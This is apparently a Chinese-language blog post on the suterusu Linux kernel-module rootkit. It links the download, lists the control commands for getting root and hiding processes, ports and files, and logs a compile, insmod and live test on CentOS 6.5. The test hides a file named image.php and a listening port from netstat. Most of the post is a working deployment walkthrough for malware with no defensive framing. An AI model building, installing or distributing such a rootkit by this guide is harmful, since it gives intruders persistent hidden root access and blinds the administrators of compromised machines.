z0nek

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下载地址:https://github.com/citypw/suterusu/
An LKM rootkit targeting Linux 2.6/3.x on x86(_64), and ARM
功能列表:

Get root

$ ./sock 0

Hide PID

$ ./sock 1[pid]

Unhide PID

$ ./sock 2[pid]

HideTCPv4 port

$ ./sock 3[port]

UnhideTCPv4 port

$ ./sock 4[port]

HideTCPv6 port

$ ./sock 5[port]

UnhideTCPv6 port

$ ./sock 6[port]

HideUDPv4 port

$ ./sock 7[port]

UnhideUDPv4 port

$ ./sock 8[port]

HideUDPv6 port

$ ./sock 9[port]

UnhideUDPv6 port

$ ./sock 10[port]

Hide file/directory

$ ./sock 11[name]

Unhide file/directory

$ ./sock 12[name]

在CentOS6.5 64位下测试:
1)

[root@vincent suterusu-master]# make linux-x86_64 KDIR=/lib/modules/$(uname -r)/build //注意这里是 linux-x86_64

make ARCH=x86_64 EXTRA_CFLAGS="-D_CONFIG_X86_64_ " -C /lib/modules/2.6.32-642.1.1.el6.x86_64/build M=/tmp/suterusu-master modules

make[1]:Entering directory `/usr/src/kernels/2.6.32-642.1.1.el6.x86_64'

CC [M] /tmp/suterusu-master/main.o

CC [M] /tmp/suterusu-master/util.o

CC [M] /tmp/suterusu-master/module.o

LD [M] /tmp/suterusu-master/suterusu.o

Building modules, stage 2.

MODPOST 1 modules

CC /tmp/suterusu-master/suterusu.mod.o

LD [M] /tmp/suterusu-master/suterusu.ko.unsigned

NO SIGN [M] /tmp/suterusu-master/suterusu.ko

make[1]: Leaving directory `/usr/src/kernels/2.6.32-642.1.1.el6.x86_64'

2)

[root@vincent suterusu-master]# gcc sock.c -o sock

sock.c:在函数‘main’中:

sock.c:205:警告:隐式声明与内建函数‘strlen’不兼容

sock.c:220:警告:隐式声明与内建函数‘strlen’不兼容

3)

[root@vincent suterusu-master]# insmod suterusu.ko

隐藏进程:

[root@vincent suterusu-master]#./sock 15542Hiding PID 5542

隐藏文件:
注意文件的隐藏只是针对文件名,也就是比如你想隐藏文件x,那么所有目录下的x都会被隐藏

[root@vincent suterusu-master]#./sock 11image.phpHiding file/dir ../image.php

隐藏连接:

[root@vincent suterusu-master]# netstat -ano | grep 49745

tcp 000.0.0.0:497450.0.0.0:* LISTEN off (0.00/0/0)

[root@vincent suterusu-master]#./sock 349745HidingTCPv4 port 49745

[root@vincent suterusu-master]# netstat -ano | grep 49745

[root@vincent suterusu-master]#


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